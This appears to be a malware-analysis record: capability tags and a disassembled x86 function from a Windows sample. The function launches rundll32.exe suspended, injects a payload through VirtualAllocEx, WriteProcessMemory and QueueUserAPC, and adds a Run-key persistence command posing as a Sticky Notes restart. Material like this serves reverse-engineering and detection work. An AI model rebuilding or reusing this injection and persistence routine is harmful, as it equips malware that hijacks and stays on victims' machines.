Function at 0x41adb0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Inject apc
Persist via run registry key
Resume thread
Set registry value
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x453348]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 1
call fcn.0041ad10
push str.Shlwapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.PathFileExistsA
push eax
call ebx
push 0x459c40
push 0x104
mov dword [0x4571f0], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x104
push 0
push 0x4586c8
call fcn.00427fa0
add esp, 0xc
xor eax, eax
mov cl, byte [eax + 0x459c40]
mov byte [eax + 0x4586c8], cl
inc eax
test cl, cl
jne 0x41ae11
mov eax, 0x4586c8
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x41ae28
mov ecx, dword [str.check.tmp]
mov edx, dword [0x44fcfc]
mov dword [eax], ecx
mov cx, word [0x44fd00]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, str.StikyNote.exe
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41ae53
mov edi, 0x459c40
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x41ae62
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0x44
mov ecx, eax
and ecx, 3
push 0
push 0x458680
rep movsb byte es:[edi], byte [esi]
call fcn.00427fa0
xor eax, eax
push 0x116c
push eax
push 0x457510
mov dword [0x4587cc], eax
mov dword [0x4587d0], eax
mov dword [0x4587d4], eax
mov dword [0x4587d8], eax
call fcn.00427fa0
mov edx, dword [0x45562c]
mov eax, dword [0x455630]
mov ecx, dword [0x455634]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x457510], edx
mov edx, dword [0x455638]
mov dword [0x457518], ecx
mov cl, byte [0x45563e]
add esp, 0x18
mov dword [0x457514], eax
mov ax, word [0x45563c]
mov dword [0x45751c], edx
push str.Setup.tmp
mov word [0x457520], ax
mov byte [0x457522], cl
mov dword [0x45751a], 0x1164
call esi
add eax, eax
push eax
push str.Setup.tmp
push 0x457d58
call fcn.00428ca0
add esp, 0xc
push 0x455308
call esi
add eax, eax
push eax
push 0x455308
push 0x457b50
call fcn.00428ca0
push 0x103
lea edx, [ebp - 0x107]
push 0
push edx
mov byte [ebp - 0x108], 0
call fcn.00427fa0
add esp, 0x18
push 0x104
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x108]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x41af71
mov edi, 0x459e50
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x41af82
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, 0x459e50
rep movsb byte es:[edi], byte [esi]
dec eax
mov edi, edi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x41afa0
mov ecx, dword [str.SysWOW64]
mov edx, dword [0x44dfc4]
push 0x459c40
mov dword [eax], ecx
mov cx, word [0x44dfc8]
push str.RESTART_STICKY_NOTESS
push str._c_REG_ADD_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__v__s__f__t__REG_SZ__d___s_
mov dword [eax + 4], edx
push 0x457300
mov word [eax + 8], cx
call fcn.0041d551
mov edx, dword [str.open]
mov al, byte [0x44fd68]
mov ecx, 0x41
mov esi, 0x457300
mov edi, 0x457948
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [str._C:_]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add esp, 0x10
mov dword [0x45763c], edx
mov dx, word [0x44fd74]
push 0x44fd78
mov byte [0x457640], al
mov dword [0x457740], 0x646d63
mov dword [0x457844], ecx
mov word [0x457848], dx
call esi
push 0x44fd90
push eax
call ebx
push str.ntdll
mov dword [0x457630], eax
call esi
push str.RtlFillMemory
push eax
call ebx
mov ecx, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [0x457628], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x457614], eax
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x45761c], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x208
mov dword [0x457624], edx
mov edx, dword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [0x45762c], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [0x457634], ecx
mov ecx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x458168
push 0
mov dword [0x457638], edx
mov dword [0x457620], eax
mov dword [0x457618], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x104
push 0x458370
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x4587cc
push 0x458680
push 0
push 0
push 4
push 0
push 0
push 0
push str.rundll32.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x41b1a3
mov edx, dword [0x4587cc]
push 0x40
push 0x3000
push 0x3000
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x45867c], eax
test eax, eax
je 0x41b1a3
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0x116c
push 0x457510
push eax
mov eax, dword [0x4587cc]
push eax
call esi
mov ecx, dword [0x45750c]
mov edx, dword [0x45867c]
mov eax, dword [0x4587cc]
push 0
sub ecx, fcn.0041ad10
push ecx
push fcn.0041ad10
add edx, 0x116c
push edx
push eax
call esi
mov ecx, dword [0x4587d0]
mov edx, dword [0x45867c]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov eax, dword [0x4587d0]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
cmp eax, 0xffffffff
pop esi
setne al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret